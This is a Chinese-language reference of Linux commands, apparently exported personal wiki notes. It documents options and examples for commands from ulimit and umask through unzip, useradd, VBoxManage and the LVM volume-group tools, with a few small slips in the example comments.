ulimit 用于限制 shell 启动进程所占用的资源,支持以下各种类型的限制:所创建的内核文件的大小、进程数据块的大小、Shell 进程创建文件的大小、内存锁住的大小、常驻内存集的大小、打开文件描述符的数量、分配堆栈的最大大小、CPU 时间、单个用户的最大线程数、Shell 进程所能使用的最大虚拟内存。同时,它支持硬资源和软资源的限制。

作为临时限制,ulimit 可以作用于通过使用其命令登录的 shell 会话,在会话终止时便结束限制,并不影响于其他 shell 会话。而对于长期的固定限制,ulimit 命令语句又可以被添加到由登录 shell 读取的文件中,作用于特定的 shell 用户。
```
</div>

!选项
:<div>

|!选项                      |!描述|
|-a				            |显示目前资源限制的设定;                        |
|-c <core文件上限>			|设定core文件的最大值,单位为区块;              |
|-d <数据节区大小>			|程序数据节区的最大值,单位为KB;                |
|-f <文件大小>				|shell所能建立的最大文件,单位为区块;           |
|-H				            |设定资源的硬性限制,也就是管理员所设下的限制;  |
|-m <内存大小>				|指定可使用内存的上限,单位为KB;                |
|-n <文件数目>				|指定同一时间最多可开启的文件数;                |
|-p <缓冲区大小>			|指定管道缓冲区的大小,单位512字节;             |
|-s <堆叠大小>				|指定堆叠的上限,单位为KB;                      |
|-S				            |设定资源的弹性限制;                            |
|-t <CPU时间>				|指定CPU使用时间的上限,单位为秒;               |
|-u <程序数目>				|用户最多可开启的程序数目;                      |
|-v <虚拟内存大小>			|指定可使用的虚拟内存上限,单位为KB。            |

</div>


!示例 
:<div>

```bash
实例
[root@localhost ~]# ulimit -a
core file size          (blocks, -c) 0           #core文件的最大值为100 blocks。
data seg size           (kbytes, -d) unlimited   #进程的数据段可以任意大。
scheduling priority             (-e) 0
file size               (blocks, -f) unlimited   #文件可以任意大。
pending signals                 (-i) 98304       #最多有98304个待处理的信号。
max locked memory       (kbytes, -l) 32          #一个任务锁住的物理内存的最大值为32KB。
max memory size         (kbytes, -m) unlimited   #一个任务的常驻物理内存的最大值。
open files                      (-n) 1024        #一个任务最多可以同时打开1024的文件。
pipe size            (512 bytes, -p) 8           #管道的最大空间为4096字节。
POSIX message queues     (bytes, -q) 819200      #POSIX的消息队列的最大值为819200字节。
real-time priority              (-r) 0
stack size              (kbytes, -s) 10240       #进程的栈的最大值为10240字节。
cpu time               (seconds, -t) unlimited   #进程使用的CPU时间。
max user processes              (-u) 98304       #当前用户同时打开的进程(包括线程)的最大个数为98304。
virtual memory          (kbytes, -v) unlimited   #没有限制进程的最大地址空间。
file locks                      (-x) unlimited   #所能锁住的文件的最大个数没有限制。
```
</div>
* 新建FILE 权限: 666 &  ~umask
* 新建DIR 权限:  777 & ~umask
* 非特权用户umask是 是 002
* root 的umask 是 是 022

```python

# 获取文件默认权限
def fmod(umask=0b11):
    max=0o777
    #执行权限位定义
    fx=0b001001001
    print ("max  :%s"%(bin(max)[2:].zfill(9)))
    print ("umask:%s"%(bin(umask)[2:].zfill(9)))
    # 减执行权限
    fmod = max&(~fx)
    # 执行umask
    fmod = fmod&(~umask)
    print ("fmod :%s"%(bin(fmod)[2:].zfill(9)))
    
# 获取文件夹默认权限
def dmod(umask=0b11):
    max=0o777
    print ("max  :%s"%(bin(max)[2:].zfill(9)))
    print ("umask:%s"%(bin(umask)[2:].zfill(9)))
    # 减umask
    fmod = max&(~umask)
    print ("fmod :%s"%(bin(fmod)[2:].zfill(9)))


In [22]: fmod()
max  :111111111
umask:000000011
fmod :110110100

In [23]: dmod()
max  :111111111
umask:000000011
fmod :111111100
```
!!简介
:<div>
umount
===

用于卸载已经加载的文件系统

</div>

!! 补充说明

:<div>


"umount命令" 用于卸载已经加载的文件系统。利用设备名或挂载点都能umount文件系统,不过最好还是通过挂载点卸载,以免使用绑定挂载(一个设备,多个挂载点)时产生混乱。

</div>

!! 语法  

:<div>


```
umount(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:卸除/etc/mtab中记录的所有文件系统;
-h:显示帮助;
-n:卸除时不要将信息存入/etc/mtab文件中;
-r:若无法成功卸除,则尝试以只读的方式重新挂入文件系统;
-t<文件系统类型>:仅卸除选项中所指定的文件系统;
-v:执行时显示详细的信息;
-V:显示版本信息。
```

</div>

!! 参数  

:<div>


文件系统:指定要卸载的文件系统或者其对应的设备文件名。

</div>

!! 实例  

:<div>


下面两条命令分别通过设备名和挂载点卸载文件系统,同时输出详细信息:

通过设备名卸载

```
umount -v /dev/sda1
/dev/sda1 umounted
```

通过挂载点卸载

```
umount -v /mnt/mymount/
/tmp/diskboot.img umounted
```

如果设备正忙,卸载即告失败。卸载失败的常见原因是,某个打开的shell当前目录为挂载点里的某个目录:

```
umount -v /mnt/mymount/
umount: /mnt/mymount: device is busy
umount: /mnt/mymount: device is busy
```

有时,导致设备忙的原因并不好找。碰到这种情况时,可以用lsof列出已打开文件,然后搜索列表查找待卸载的挂载点:

```
lsof | grep mymount         查找mymount分区里打开的文件
bash   9341  francois  cwd   DIR   8,1   1024    2 /mnt/mymount
```

从上面的输出可知,mymount分区无法卸载的原因在于,francois运行的PID为9341的bash进程。

对付系统文件正忙的另一种方法是执行延迟卸载:

```
umount -vl /mnt/mymount/     执行延迟卸载
```

延迟卸载(lazy unmount)会立即卸载目录树里的文件系统,等到设备不再繁忙时才清理所有相关资源。卸载可移动存储介质还可以用eject命令。下面这条命令会卸载cd并弹出CD:

```
eject /dev/cdrom      卸载并弹出CD 
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
unalias
===

删除由alias设置的别名

</div>

!! 补充说明

:<div>


"unalias命令" 用来取消命令别名,是为shell内建命令。如果需要取消任意一个命令别名,则使用该命令别名作为指令的参数选项即可。如果使用`-a`选项,则表示取消所有已经存在的命令别名。

</div>

!! 语法  

:<div>


```
unalias(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:取消所有命令别名。
```

</div>

!! 参数  

:<div>


命令别名:指定要取消的命令别名。

</div>

!! 实例  

:<div>


使用unalias命令将已经设置的命令别名"cc"取消,输入如下命令:

```
unalias cc            #取消已经设置的命令别名
```

上面的命令执行后,系统会将指定的命令别名取消掉。如果用户再使用该命令别名时,系统将提示如下信息:

```
cc:no input files
```

因此,当使用该指令将命令别名取消后,将不能够再进行使用。否则,将出现错误提示。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
|!参数|!描述|
|-a或--all|显示全部的信息|
|-m或--machine|显示电脑类型|
|-n或-nodename|显示在网络上的主机名称|
|-r或--release|显示操作系统的发行编号|
|-s或--sysname|显示操作系统名称|
|-v|显示操作系统的版本|
|-p或--processor|输出处理器类型或"unknown"|
|-i或--hardware-platform|输出硬件平台或"unknown"|
|-o或--operating-system|输出操作系统名称|
|--help|显示帮助|
|--version|显示版本信息|

```bash
[root@qs02 ~]# uname -a
Linux qs02 3.10.0-862.9.1.el7.x86_64 #1 SMP Mon Jul 16 16:29:36 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[root@qs02 ~]# uname -s
Linux
[root@qs02 ~]# uname -n
qs02
[root@qs02 ~]# uname -r
3.10.0-862.9.1.el7.x86_64
[root@qs02 ~]# uname -v
#1 SMP Mon Jul 16 16:29:36 UTC 2018
[root@qs02 ~]# uname -m
x86_64
[root@qs02 ~]# uname -p
x86_64
[root@qs02 ~]# uname -i
x86_64
[root@qs02 ~]# uname -o
GNU/Linux


```
!!简介
:<div>
unarj
===

解压缩由arj命令创建的压缩包

</div>

!! 补充说明

:<div>


"unarj命令" 用来解压缩由arj命令创建的压缩包。

</div>

!! 语法  

:<div>


```
unarj(选项)(参数)
```

</div>

!! 选项  

:<div>


```
e:解压缩.arj文件;
l:显示压缩文件内所包含的文件;
t:检查压缩文件是否正确;
x:解压缩时保留原有的路径。
```

</div>

!! 参数  

:<div>


.arj压缩包:指定要解压缩的.arj压缩包。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
uncompress
===

用来解压.Z文件

</div>

!! 补充说明

:<div>


"uncompress命令" 用来解压缩由compress命令压缩后产生的“.Z”压缩包。

</div>

!! 语法  

:<div>


```
uncompress(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-f:不提示用户,强制覆盖掉目标文件;
-c:将结果送到标准输出,无文件被改变;
-r:递归的操作方式。
```

</div>

!! 参数  

:<div>


文件:指定要压缩的“.Z”压缩包。

</div>

!! 实例  

:<div>


先创建一个.Z压缩文件

```
compress FileName
```

解压:

```
uncompress FileName.Z
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
unexpand
===

将文件的空白字符转换为制表符

</div>

!! 补充说明

:<div>


"unexpand命令" 用于将给定文件中的空白字符(space)转换为制表符(TAB),并把转换结果显示在标准输出设备(显示终端)。

</div>

!! 语法  

:<div>


```
unexpand(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a或--all:转换文件中所有的空白字符;
--first-only:仅转换开头的空白字符;
-t<N>:指定TAB所代表的N个(N为整数)字符数,默认N值是8。
```

</div>

!! 参数  

:<div>


文件:指定要转换空白为TAB的文件列表。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!! ''uniq''命令用于报告或忽略文件中的重复行,一般与sort命令结合使用

!选项
    * `-c`或——count:在每列旁边显示该行重复出现的次数;
    * `-d`或--repeated:仅显示重复出现的行列;
    * `-f`栏位或--skip-fields=栏位:忽略比较指定的栏位;
    * `-s`字符位置或--skip-chars=字符位置:忽略比较指定的字符;
    * `-u`或——unique:仅显示出一次的行列;
    * `-w`字符位置或--check-chars=字符位置:指定要比较的字符。

!EXP
*<pre>

```bash
#删除重复行:

uniq file.txt
sort file.txt | uniq
sort -u file.txt
#只显示单一行:

uniq -u file.txt
sort file.txt | uniq -u
#统计各行在文件中出现的次数:

sort file.txt | uniq -c
#在文件中找出重复的行:

sort file.txt | uniq -d
```
</pre>
!!简介
:<div>
unlink
===

系统调用函数unlink去删除指定的文件

</div>

!! 补充说明

:<div>


"unlink命令" 用于系统调用函数unlink去删除指定的文件。和rm命令作用一样,都是删除文件。

</div>

!! 语法  

:<div>


```
unlink(选项)(参数)
```

</div>

!! 选项  

:<div>


```
--help:显示帮助;
--version:显示版本号。
```

</div>

!! 参数  

:<div>


文件:指定要删除的文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
unprotoize
===

删除C语言源代码文件中的函数原型

</div>

!! 补充说明

:<div>


"unprotoize命令" 属于gcc套件,用于删除C语言源代码文件中的函数原型。

</div>

!! 语法  

:<div>


```
unprotoize(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-d:设置需要转换代码的目录;
-x:转换代码时排除的文件。
```

</div>

!! 参数  

:<div>


文件:需要转换代码的C语言源文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
''unset''命令用于删除已定义的shell变量(包括环境变量)和shell函数。unset命令不能够删除具有只读属性的shell变量和环境变量。


!选项

```
-f:仅删除函数;
-v:仅删除变量。
```

!实例
使用unset命令将前面所创建的环境变量mylove及其对应的值进行删除,输入如下命令:

```bash
unset -v mylove         #删除指定的环境变量
```
执行以上命令后,系统将删除指定的环境变量。

用户可以使用[[env]]命令和[[grep]]命令对其进行查询。

已经删除的环境变量再次使用指令查询时,将出现查询不到指定环境变量的输出信息。
;until
:<pre>

```bash
#!/bin/bash
 
i=0
 
until [[ "$i" -gt 5 ]]    #大于5
do
    let "square=i*i"
    echo "$i * $i = $square"
    let "i++"
done

```
</pre>
脚本练习
!!简介
:<div>
unzip
===

用于解压缩由zip命令压缩的压缩包

</div>

!! 补充说明

:<div>


"unzip命令" 用于解压缩由zip命令压缩的“.zip”压缩包。

</div>

!! 语法

:<div>


```
unzip(选项)(参数)
```

</div>

!! 选项

:<div>


```
-c:将解压缩的结果显示到屏幕上,并对字符做适当的转换;
-f:更新现有的文件;
-l:显示压缩文件内所包含的文件;
-p:与-c参数类似,会将解压缩的结果显示到屏幕上,但不会执行任何的转换;
-t:检查压缩文件是否正确;
-u:与-f参数类似,但是除了更新现有的文件外,也会将压缩文件中的其他文件解压缩到目录中;
-v:执行时显示详细的信息;
-z:仅显示压缩文件的备注文字;
-a:对文本文件进行必要的字符转换;
-b:不要对文本文件进行字符转换;
-C:压缩文件中的文件名称区分大小写;
-j:不处理压缩文件中原有的目录路径;
-L:将压缩文件中的全部文件名改为小写;
-M:将输出结果送到more程序处理;
-n:解压缩时不要覆盖原有的文件;
-o:不必先询问用户,unzip执行后覆盖原有的文件;
-P<密码>:使用zip的密码选项;
-q:执行时不显示任何信息;
-s:将文件名中的空白字符转换为底线字符;
-V:保留VMS的文件版本信息;
-X:解压缩时同时回存文件原来的UID/GID;
-d<目录>:指定文件解压缩后所要存储的目录;
-x<文件>:指定不要处理.zip压缩文件中的哪些文件;
-Z:unzip-Z等于执行zipinfo指令。
```

</div>

!! 参数

:<div>


压缩包:指定要解压的“.zip”压缩包。

</div>

!! 实例

:<div>


将压缩文件text.zip在当前目录下解压缩。

```
unzip test.zip
```

将压缩文件text.zip在指定目录`/tmp`下解压缩,如果已有相同的文件存在,要求unzip命令不覆盖原先的文件。

```
unzip -n test.zip -d /tmp
```

查看压缩文件目录,但不解压。

```
unzip -v test.zip
```

将压缩文件test.zip在指定目录`/tmp`下解压缩,如果已有相同的文件存在,要求unzip命令覆盖原先的文件。

```
unzip -o test.zip -d tmp/
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
```bash
#解压/boot目录下gz格式的img文件

function unzipkernel(){
    file=$1
    cd /root
    gunzip -f ${file}
    mkdir ${file%.*}
    cd ${file%.*}
    cpio -idv < ../${file}
}
```
!!简介
:<div>
updatedb
===

创建或更新slocate命令所必需的数据库文件

</div>

!! 补充说明

:<div>


"updatedb命令" 用来创建或更新slocate命令所必需的数据库文件。updatedb命令的执行过程较长,因为在执行时它会遍历整个系统的目录树,并将所有的文件信息写入slocate数据库文件中。

补充说明:slocate本身具有一个数据库,里面存放了系统中文件与目录的相关信息。

</div>

!! 语法  

:<div>


```
updatedb(选项)
```

</div>

!! 选项  

:<div>


```
-o<文件>:忽略默认的数据库文件,使用指定的slocate数据库文件;
-U<目录>:更新指定目录的slocate数据库;
-v:显示执行的详细过程。
```

</div>

!! 实例  

:<div>


实用updatedb命令的`-U`选项可以指定要更新slocate数据库的目录。

```
updatedb -U /usr/local/  更新指定命令的slocate数据库
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
uptime
===

查看Linux系统负载信息

</div>

!! 补充说明

:<div>


"uptime命令" 能够打印系统总共运行了多长时间和系统的平均负载。uptime命令可以显示的信息显示依次为:现在时间、系统已经运行了多长时间、目前有多少登陆用户、系统在过去的1分钟、5分钟和15分钟内的平均负载。

</div>

!! 语法  

:<div>


```
uptime(选项)
```

</div>

!! 选项  

:<div>


```
-V:显示指令的版本信息。
```

</div>

!! 实例  

:<div>


使用uptime命令查看系统负载:

```
[root@LinServ-1 ~]# uptime -V    #显示uptime命令版本信息
procps version 3.2.7

[root@LinServ-1 ~]# uptime
 15:31:30 up 127 days,  3:00,  1 user,  load average: 0.00, 0.00, 0.00
```

 "显示内容说明:" 

```
15:31:30             //系统当前时间
up 127 days,  3:00   //主机已运行时间,时间越大,说明你的机器越稳定。
1 user               //用户连接数,是总连接数而不是用户数
load average: 0.00, 0.00, 0.00         // 系统平均负载,统计最近1,5,15分钟的系统平均负载
```

那么什么是系统平均负载呢? 系统平均负载是指在特定时间间隔内运行队列中的平均进程数。

如果每个CPU内核的当前活动进程数不大于3的话,那么系统的性能是良好的。如果每个CPU内核的任务数大于5,那么这台机器的性能有严重问题。

如果你的linux主机是1个双核CPU的话,当Load Average 为6的时候说明机器已经被充分使用了。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
<div class="network">

    <<toc-selective-expandable 'user'>>

</div>
        * 判断用户是否存在再添加用户
        * 配置文件
            ** file: /etc/default/useradd
            ** user: /etc/skel
                **** exp :手动创建账号
            ** file: /etc/login.def
        * -u uid
       * -o 忽略uid检查, 可创建uid相同的用户
            ** 系统passwd从上到下的顺序, 按uid检索用户名称/
        * -g gid primary group
            ** -G gid 辅助组
            ** -N 用users作为主组
            ** -r 标记为系统账号 uid from 100,不创建家目录
        * -c desc info
        * -d home directory
            *** -m 创建家目录
            ** -M 不创建家目录
        * -s shell
        * -D display /etc/default/useradd
* `userdel`
        ** -r: 删除用户 家目录
        ** -f: 强制删除在登录状态的用户
* -u UID: 新UID
* -g GID: 新 新 主 组
* -G GROUP1[,GROUP2,...[,GROUPN]]] :
  ** tips: G默认覆盖, a追加
  ** -G "" 删除
* -s SHELL :新的默认SHELL
* -c 'COMMENT' :新的注释信息
* -d HOME: 新家目录不会自动创建;若要创建新家目录并移动原家数据,同时使用-m 选项
* -l login_name: 新的名字;
* -L: lock 指定用户, 在/etc/shadow 加 密码栏的增加 !
* -U: unlock 指定用户,将 将 /etc/shadow 的 密码栏的 ! 拿掉
* -e YYYY-MM-DD: 指明用户账号过期日期
* -f INACTIVE: 设定非活动期限
* exp
    ** 迁移用户user1到app目录下
!!简介
:<div>
usernetctl
===

被允许时操作指定的网络接口

</div>

!! 补充说明

:<div>


"usernetctl命令" 在用于被允许时操作指定的网络接口。

</div>

!! 语法  

:<div>


```
usernetctl(参数)
```

</div>

!! 参数  

:<div>


*   网络接口:被操纵的网络接口;
*   up:激活网络接口;
*   down:禁用网络接口;
*   report:报告网络接口状态。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
users
===

显示当前登录系统的所有用户

</div>

!! 补充说明

:<div>


"users命令" 用于显示当前登录系统的所有用户的用户列表。每个显示的用户名对应一个登录会话。如果一个用户有不止一个登录会话,那他的用户名将显示相同的次数。

</div>

!! 语法  

:<div>


```
users(选项)
```

</div>

!! 选项  

:<div>


```
--help:显示命令的帮助信息;
--version:显示命令的版本信息。
```

</div>

!! 实例  

:<div>


```
[root@localhost ~]# users
root root
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
uucico
===

UUCP文件传输服务程序。

</div>

!! 补充说明

:<div>


"uucico命令" 命令UUCP文件传输服务程序。 uucico是用来处理uucp或uux送到队列的文件传输工具。uucico有两种工作模式:主动模式和附属模式。当在主动模式下时,uucico会调用远端主机;在附属模式下时,uucico则接受远端主机的调用。

</div>

!! 语法  

:<div>


```
uucico [-cCDefqvwz][-i<类型>][-I<文件>][-p<连接端口号码>][-][-rl][-s<主机>][-S<主机>][-u<用户>][-x<类型>][--help]
```

</div>

!! 选项  

:<div>


```
-c或--quiet 当不执行任何工作时,不要更改记录文件的内容及更新目前的状态。
-C或--ifwork 当有工作要执行时,才调用-s或-S参数所指定主机。
-D或--nodetach 不要与控制终端机离线。
-e或--loop 在附属模式下执行,并且出现要求登入的提示画面。
-f或--force 当执行错误时,不等待任何时间即重新调用主机。
-i<类型>或--stdin<类型> 当使用到标准输入设备时,指定连接端口的类型。
-I<文件>--config<文件> 指定使用的配置文件。
-l或--prompt 出现要求登入的提示画面。
-p<连接端口号码>或-port<连接端口号码> 指定连接端口号码。
-q或--quiet 不要启动uuxqt服务程序。
-r0或--slave 以附属模式启动。
-s<主机>或--system<主机> 调用指定的主机。
-u<用户>或--login<用户> 指定登入的用户帐号,而不允许输入任意的登入帐号。
-v或--version 显示版本信息,并且结束程序。
-w或--wait 在主动模式下,当执行调用动作时,则出现要求登入的提示画面。
-x<类型>或-X<类型>或outgoing-debug<类型> 启动指定的排错模式。
-z或--try-next 当执行不成功时,尝试下一个选择而不结束程序。
--help 显示帮助,并且结束程序。
```

</div>

!! 实例

:<div>


使用主动模式启动uucico服务。在命令提示符下直接输入如下命令:

```
uucico-r1
```

提示:该命令一般没有输出。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
uupick
===

命令处理传送进来的文件。

</div>

!! 补充说明

:<div>


"uupick命令" 处理传送进来的文件。 当其他主机通过UUCP将文件传送进来时,可利用uupick指令取出这些文件。

</div>

!! 语法  

:<div>


```
uupick [-v][-I<配置文件>][-s<主机>][-x<层级>][--help]
```

</div>

!! 选项  

:<div>


```
-I<配置文件>或--config<配置文件> 指定配置文件。
-s<主机>或--system<主机> 处理由指定主机传送过来的文件。
-v或--version 显示版本信息。
--help 显示帮助。
```

</div>

!! 例子

:<div>


处理由主机localhost传送过来的文件。在命令行直接输入如下命令:

```
uupick-s localhost
```

该命令通常没有输出。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
```bash
#C:\Program Files\Oracle\VirtualBox

# 查询vm列表
VBoxManage list vms
VBoxManage list runningvms

#show vm
VBoxManage showmediuminfo     [disk|dvd|floppy] <uuid|filename>
VBoxManage showvminfo {2c26b3fb-8f04-419e-ac78-f596066a1783} --details

#list
VBoxManage showmediuminfo disk "${disk_path}"

#resize
VBoxManage modifymedium  [disk|dvd|floppy]    <uuid|filename>
                         [--type normal|writethrough|immutable|shareable|
                                 readonly|multiattach]
                         [--autoreset on|off]
                         [--property <name=[value]>]
                         [--compact]
                         [--resize <megabytes>|--resizebyte <bytes>]
                         [--move <path>
VBoxManage modifymedium disk "${disk_path}" --resize 60720

#create Default is VDI. Optional. 
VBoxManage createmedium     [disk|dvd|floppy]    --filename <filename>
                            [--size <megabytes>|--sizebyte <bytes>]
                            [--diffparent <uuid>|<filename>
                            [--format VDI|VMDK|VHD] (default: VDI)
                            [--variant Standard,Fixed,Split2G,Stream,ESX]

vboxmanage createmedium --filename ${disk_path} --size 1024 --format vmdk

#shutdown
vboxmanage controlvm ${vm} poweroff

#startup
vboxmanage startvm  ${vm} -type headless

#reboot
vboxmanage controlvm ${vm} reset

#auto start
vboxmanage controlvm ${vm} 
    --autostart-enabled on|off
    --autostart-delay <seconds>

#create vm
VBoxManage createvm         --name <name>
                            [--groups <group>, ...]
                            [--ostype <ostype>]
                            [--register]
                            [--basefolder <path>]
                            [--uuid <uuid>]

#attach storage
VBoxManage storageattach    <uuid|vmname>
                            --storagectl <name>
                            [--port <number>]
                            [--device <number>]
                            [--type dvddrive|hdd|fdd]
                            [--medium none|emptydrive|additions|
                                      <uuid>|<filename>|host:<drive>|iscsi]
                            [--mtype normal|writethrough|immutable|shareable
                                     readonly|multiattach]
                            [--comment <text>]
                            [--setuuid <uuid>]
                            [--setparentuuid <uuid>]
                            [--passthrough on|off]
                            [--tempeject on|off]
                            [--nonrotational on|off]
                            [--discard on|off]
                            [--hotpluggable on|off]
                            [--bandwidthgroup name|none]
                            [--forceunmount]
                            [--server <name>|<ip>]
                            [--target <target>]
                            [--tport <port>]
                            [--lun <lun>]
                            [--encodedlun <lun>]
                            [--username <username>]
                            [--password <password>]
                            [--passwordfile <file>]
                            [--initiator <initiator>]
                            [--intnet]
```
!!简介
:<div>
vdfuse
===

VirtualBox软件挂载VDI分区文件工具

</div>

!! 补充说明

:<div>


"vdfuse命令" 是VirtualBox软件挂载VDI分区文件的一个工具,VirtualBox是一款能创建虚拟机的开源软件,vdi是它的默认磁盘格式。

</div>

!! 什么是VirtualBox  

:<div>


VirtualBox是一款功能强大的x86虚拟机软件,它不仅具有丰富的特色,而且性能也很优异。更可喜的是,VirtualBox于数日前走向开源,成为了一个发布在GPL许可之下的自由软件。VirtualBox可以在Linux和Windows主机中运行,并支持在其中安装Windows (NT 4.0、2000、XP、Server 2003、Vista)、DOS/Windows 3.x、Linux (2.4 和 2.6)、OpenBSD等系列的客户操作系统。

 "在Ubuntu中安装vdfuse,打开终端,输入:" 

```
sudo apt-get install virtualbox-fuse
```

</div>

!! 语法  

:<div>


```
vdfuse [options] -f image-file mountpoint
```

</div>

!! 选项  

:<div>


```
-h 帮助
-r 只读
-t 类型 (VDI, VMDK, VHD, or raw; default: auto)
-f 镜像文件
-a 允许所有用户读取
-w 允许所有用户都写
-g 前台运行
-v 输出反馈
-d debug模式
```

注意:必须编辑一下`/etc/fuse.confand`,去掉 "user_allow_other" 前面的注释符号(#),否则不能正确运行。

</div>

!! 实例  

:<div>


使用如下如下语句挂载.vdi文件:

```
sudo vdfuse -f /path/to/file.vdi /path/to/mountpoint
```

`/path/to/mountpoint`应该包含如下文件EntireDisk、Partition1等,如果只有一个文件,你可能需要这样挂载:

```
mount /path/to/mountpoint/Partition1 /path/to/someother/mountpoint
```

文件系统就挂载到`/path/to/someother/mountpoint`了。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
vgchange
===

修改卷组属性

</div>

!! 补充说明

:<div>


"vgchange命令" 用于修改卷组的属性,经常被用来设置卷组是处于活动状态或非活动状态。处于活动状态的卷组无法被删除,必须使用vgchange命令将卷组设置为非活动状态后才能删除。

</div>

!! 语法  

:<div>


```
vgchange(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:设置卷组的活动状态。
```

</div>

!! 参数  

:<div>


卷组:指定要设置属性的卷组。

</div>

!! 实例  

:<div>


使用vgchange命令将卷组状态改为活动的。在命令行中输入下面的命令:

```
[root@localhost ~]# vgchange -ay vg1000     #将卷组"vg1000"设置为活动状态
```

输出信息如下:

```
1 logical volume(s) in volume group "vg1000" now active
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
vgconvert
===

转换卷组元数据格式

</div>

!! 补充说明

:<div>


"vgconvert命令" 用于转换指定LVM卷组的元数据格式,通常将“LVM1”格式的卷组转换为“LVM2”格式。转换卷组元数据前必须保证卷组处于非活动状态,否则无法完成转换操作。

</div>

!! 语法  

:<div>


```
vgconvert(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-M:要转换的卷组格式。
```

</div>

!! 参数  

:<div>


卷组:指定要转换格式的卷组。

</div>

!! 实例  

:<div>


转换卷组元数据格式前,使用vgchange命令将卷组设置为非活动状态。在命令行中输入下面的命令:

```
[root@localhost lvm]# vgchange -an vg1000    #设置卷组状态为非活动状态
0 logical volume(s) in volume group "vg1000" now active 

```

使用vgconvert命令将卷组"vg1000"从"LVM1"格式转换为"LVM2"格式。在命令行中输入下面的命令:

```
[root@localhost lvm]# vgconvert -M2 vg1000    #转换卷组为"LVM2"格式
Volume group vg1000 successfully converted
```

使用vgchange命令将卷组设置为活动状态。在命令行中输入下面的命令:

```
[root@localhost lvm]# vgchange -ay vg1000     #设置卷组状态为活动状态
0 logical volume(s) in volume group "vg1000" now active
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!简介
:<pre>
vgcreate命令用于创建LVM卷组。卷组(Volume Group)将多个物理卷组织成一个整体,屏蔽了底层物理卷细节。在卷组上创建逻辑卷时不用考虑具体的物理卷信息。
</pre>

! 选项
:<pre>
-l:卷组上允许创建的最大逻辑卷数;
-p:卷组中允许添加的最大物理卷数;
-s:卷组上的物理卷的PE大小。
</pre>

! 示例

:<div>

使用vgcreate命令创建卷组 "vg1000",并且将物理卷/dev/sdb1和/dev/sdb2添加到卷组中。

```bash
[root@localhost ~]# vgcreate vg1000 /dev/sdb1 /dev/sdb2  #创建卷组"vg1000"
```

</div>
!!简介
:<div>
vgdisplay
===

显示LVM卷组的信息

</div>

!! 补充说明

:<div>


"vgdisplay命令" 用于显示LVM卷组的信息。如果不指定"卷组"参数,则分别显示所有卷组的属性。

</div>

!! 语法  

:<div>


```
vgdisplay(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-A:仅显示活动卷组的属性;
-s:使用短格式输出的信息。
```

</div>

!! 参数  

:<div>


卷组:要显示属性的卷组名称。

</div>

!! 实例  

:<div>


使用vgdisplay命令显示存在的卷组"vg1000"的属性。在命令行中输入下面的命令:

```
[root@localhost ~]# vgdisplay vg1000     #显示卷组"vg1000"的属性
```

输出信息如下:

```
  --- Volume group ---  
  VG Name               vg1000  
......省略部分输出内容......  
  free  PE / Size       50 / 200.00 MB  
  VG UUID  ICprwg-ZmhA-JKYF-WYuy-jNHa-AyCN-ZS5F7B
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
vgextend
===

向卷组中添加物理卷

</div>

!! 补充说明

:<div>


"vgextend命令" 用于动态扩展LVM卷组,它通过向卷组中添加物理卷来增加卷组的容量。LVM卷组中的物理卷可以在使用vgcreate命令创建卷组时添加,也可以使用vgextend命令动态的添加。

</div>

!! 语法  

:<div>


```
vgextend(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-d:调试模式;
-t:仅测试。
```

</div>

!! 参数  

:<div>


*   卷组:指定要操作的卷组名称;
*   物理卷列表:指定要添加到卷组中的物理卷列表。

</div>

!! 实例  

:<div>


使用vgextend命令向卷组"vg2000"中添加物理卷。在命令行中输入下面的命令:

```
[root@localhost ~]# vgextend vg2000 /dev/sdb2     #将物理卷"/dev/sdb2"加入卷组"vg2000"
```

输出信息如下:

```
Volume group "vg2000" successfully extended
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
vgreduce
===

从卷组中删除物理卷

</div>

!! 补充说明

:<div>


"vgreduce命令" 通过删除LVM卷组中的物理卷来减少卷组容量。不能删除LVM卷组中剩余的最后一个物理卷。

</div>

!! 语法  

:<div>


```
vgreduce(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:如果命令行中没有指定要删除的物理卷,则删除所有的空物理卷;
--removemissing:删除卷组中丢失的物理卷,使卷组恢复正常状态。
```

</div>

!! 参数  

:<div>


*   卷组:指定要操作的卷组名称;
